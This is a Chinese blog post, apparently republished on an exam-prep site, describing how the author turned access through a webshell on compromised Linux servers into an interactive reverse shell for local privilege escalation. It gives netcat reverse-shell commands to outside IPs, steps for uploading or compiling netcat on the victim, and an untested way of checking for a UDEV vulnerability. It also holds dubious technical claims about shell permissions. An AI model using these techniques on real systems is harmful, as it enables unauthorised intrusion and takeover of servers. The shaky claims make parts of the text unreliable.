Linux下反弹CmdLineShell小技巧Linux认证考试 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/644/2021_2022_Linux_E4_B8_8B_E5_8F_c103_644727.htm 昨晚(应该是今天凌晨)玩了半天朋友给的Linux的WebShell，本来想实践一下UDEV提权呢，最后发现服务器貌似已经打过补丁了。 不过还是有其他的收获的，所以我就YY下Linux反弹shell的问题。 Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令，但是我们的EXP必须在可交互环境运行，否则如果直接在WebShell执行，即使能提权成功，我们也没法利用到。所以我们需要先反弹一个CmdLine Shell回来(直接说成CmdShell怕人误解...因为Win有个cmd.exe ^_^)，然后在命令行终端下执行EXP进行提权。 一般情况下，绝大多数人都会通过PHP WebShell的Back Connect功能弹回一个Shell，但是有时候会碰到服务器不支持PHP或者WebShell没法反弹的情况，比如这两天朋友给我的一个JSPShell所在服务器只支持JSP，不支持PHP。这时候，我们经典的netcat就可以派上用场了。 平时在Windows下做事的时候，在必要的情况下我们可以先在本机运行nc -vv -lp 1234监听端口，然后在肉鸡上nc 12.21.12.21 1234 -e cmd.exe给我们反弹一个CmdShell，这个方法在Linux仍然可行。 在本机监听后，在WebShell运行nc 12.21.12.21 1234 -e /bin/sh就能弹一个CmdLine Shell给我们。 但我们经常碰到的情况并不都是这么100%顺利的，像昨晚整的那两台，每台都是不能直接执行nc的。一台有nc，但执行从是不起作用，另外一台直接压根就没有nc.... 不过，这个难不倒我们，我们可以给他装一个嘛，比较快捷的方法是，我们可以

到http://netcat.sourceforge.net/download.php下载nc的源码，先在我们自己linux机器上编译好以后把bin文件传上去(我开始传的我的Debian自带的netcat，结果仍然不能运行....)。如果还不行，那就把源码传上去，在目标机器上直接编译。 昨晚那两台机器，一台我是直接传的本地编译后的，一台是在目标机器上编译的。如果直接传的nc可以运行的话还比较好说，如果需要在目标机器上编译的话，这里有点小技巧: 因为在得到CmdLine Shell前，我们只能在WebShell里执行命令，一般每次只能执行一条，然后等回显。假如我们的WebShell在/var/www/site目录，那么我们每次执行命令默认的当前路径都是/var/www/site，而我们的netcat源码包解压在了/tmp/netcatsrc文件夹，这样的话，我们编译netcat的时候，configure还好说，可用/tmp/netcatsrc/configure命令，但下一步make的时候就不行了，因为当前路径是/var/www/site，而不是我们想要的/tmp/netcatsrc/，所以我们configure完了make的时候会报错。 解决这个问题其实也很简单，可以直接把两句写成一句就可以:cd /tmp/netcatsrc.make 用分号隔开写，把make跟在目录切换命令后面，这样编译的时候就不会报错了。(流浪猫教的..^_^) 在还没有得到CmdLine Shell的时候，这样的写法还是很有用的。 编译成功以后，我们就可以输入命令反弹Shell了(比如我这里nc路径是/tmp/nc): 本地nc -vv -lp 80后 /tmp/nc 202.xx.xx.250 80 -e /bin/sh就可以给我吗弹回来一个CmdLine Shell。 要注意反弹的Linux Shell是没有$提示符的哦，执行一句返回一句。 在反弹的Shell里执行，发现得到的PID不一样,2487 != 1230 还有一点就是这里反弹Shell的时候我运行的是/bin/sh，当然运行/bin/bash也可以。 不过我觉得

最好还是运行/bin/sh吧，因为/bin/sh的权限比/bin/bash放的更开一些 顺便说一下怎么判断目标是否有UDEV这个漏洞。Linux我还不知道怎么样查看它是否打过这个补丁，所以我想了个比较简单的办法: 1.执行cat /proc/net/netlink,记录下PID A 2.执行ps aux | grep udev ,记下root的PID B 3.如果A = B - 1，则存在漏洞，否则不存在 这是我自己想的，因为获得PID的时候有这两种方法，所以我通过他们对比来判断，但我并不能确定我这方法是100%正确的，仅供参考。